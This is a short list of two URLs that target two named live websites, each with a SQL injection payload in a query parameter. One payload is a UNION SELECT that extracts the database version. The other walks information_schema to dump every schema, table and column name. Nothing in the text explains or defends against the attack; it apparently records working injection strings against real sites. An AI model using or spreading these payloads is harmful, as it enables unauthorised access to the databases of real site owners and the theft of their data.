http://www.eisil.org/index.php?t=sub_pages&cat=-185+union+Select+1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+

http://www.moranch.com/index.php?t=-6+union+select+%28select%28@x%29from%28select%28@x:=0x00%29,%28select%28null%29from%28information_schema.columns%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29%29%29%29x%29+--+